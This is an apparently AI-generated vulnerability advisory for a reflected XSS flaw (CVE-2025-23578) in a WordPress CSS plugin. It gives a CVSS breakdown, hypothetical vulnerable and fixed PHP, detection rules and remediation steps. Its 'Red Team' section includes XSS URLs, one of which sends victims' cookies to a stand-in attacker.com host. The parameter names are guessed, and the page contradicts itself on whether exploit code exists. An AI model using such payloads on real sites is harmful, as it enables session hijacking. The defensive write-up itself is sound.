CVE-2025-23578
Executive Summary
CVE-2025-23578 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Custom CSS Addons (slug: css-addons) by Bastien ho, affecting versions up to and including 1.9.1. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and no public exploit code or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched WordPress installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor or consider disabling the plugin until a patch is released. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link
- Scope: Changed (S:C) – impact extends beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. Although user interaction is required, the low complexity and network attack vector make this a viable phishing vector.
Deep Dive & Mechanics
The vulnerability exists in the css-addons WordPress plugin. The plugin likely processes user input (e.g., via $_GET or $_POST parameters) and reflects it directly into the HTML output without proper sanitization or encoding. An attacker can craft a malicious URL containing JavaScript payloads in a parameter (e.g., ?css_addon_param=<script>alert(1)</script>). When a victim clicks the link, the script executes in the context of the victim's browser, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the user.
The plugin's code likely uses functions like echo $_GET['param'] or similar without applying esc_html(), esc_attr(), or wp_kses().
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.
Vulnerable Code (PHP):
<?php
$param = $_GET['custom_css'];
echo "<div class='custom-css'>" . $param . "</div>";
?>
Patched Code (PHP):
<?php
$param = isset($_GET['custom_css']) ? esc_html($_GET['custom_css']) : '';
echo "<div class='custom-css'>" . $param . "</div>";
?>
The patched version uses esc_html() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress instance with Custom CSS Addons <= 1.9.1 installed and activated.
- A victim user with browser access.
Exploit Steps:
- Identify a vulnerable parameter (e.g.,
?css_addon_param). - Craft a malicious URL:
http://target-site.com/?css_addon_param=<script>alert('XSS')</script> - Deliver the link via phishing email or social engineering.
- When the victim clicks, the script executes.
Advanced Payload (Cookie Stealing):
http://target-site.com/?css_addon_param=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
Blue Team (Defense & Detection)
Detection:
- Monitor web server logs for requests containing
<script>tags in query parameters. - Use WAF rules to block reflected XSS patterns.
- Deploy Content Security Policy (CSP) headers to mitigate impact.
Mitigation:
- Disable the plugin until a patch is available.
- Apply virtual patching via WAF (e.g., ModSecurity rule:
SecRule ARGS "@rx <script>" "id:1000,deny,status:403").
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing
css-addonsin the path and suspicious query parameters (e.g.,?css_addon_param=<script>). - Log Entries: HTTP 200 responses with injected JavaScript in the response body.
- Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
- File Hashes: No specific file hashes available; monitor for modified plugin files.
Detection Engineering
YARA Rule
rule CVE_2025_23578_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Custom CSS Addons plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-23578"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$plugin_path = /wp-content\/plugins\/css-addons/i
condition:
$plugin_path and $xss_payload
}
Sigma Rule
title: Reflected XSS Attempt Against Custom CSS Addons
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting the WordPress plugin Custom CSS Addons
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains: 'css-addons'
cs-uri-query|re: '<script[^>]*>.*?</script>'
condition: selection
falsepositives:
- Legitimate use of script tags in admin context (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-23578 Reflected XSS Attempt"; flow:to_server,established; content:"/wp-content/plugins/css-addons/"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Custom CSS Addons plugin until a patched version is released.
- Virtual Patching: Deploy WAF rules to block reflected XSS patterns (e.g.,
<script>tags in query parameters). - Code Fix: If you have access to the source, apply
esc_html()orwp_kses()to all user-supplied input before output. - User Education: Train users to avoid clicking suspicious links.
- Monitor: Watch for plugin updates from the vendor or WordPress plugin repository.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.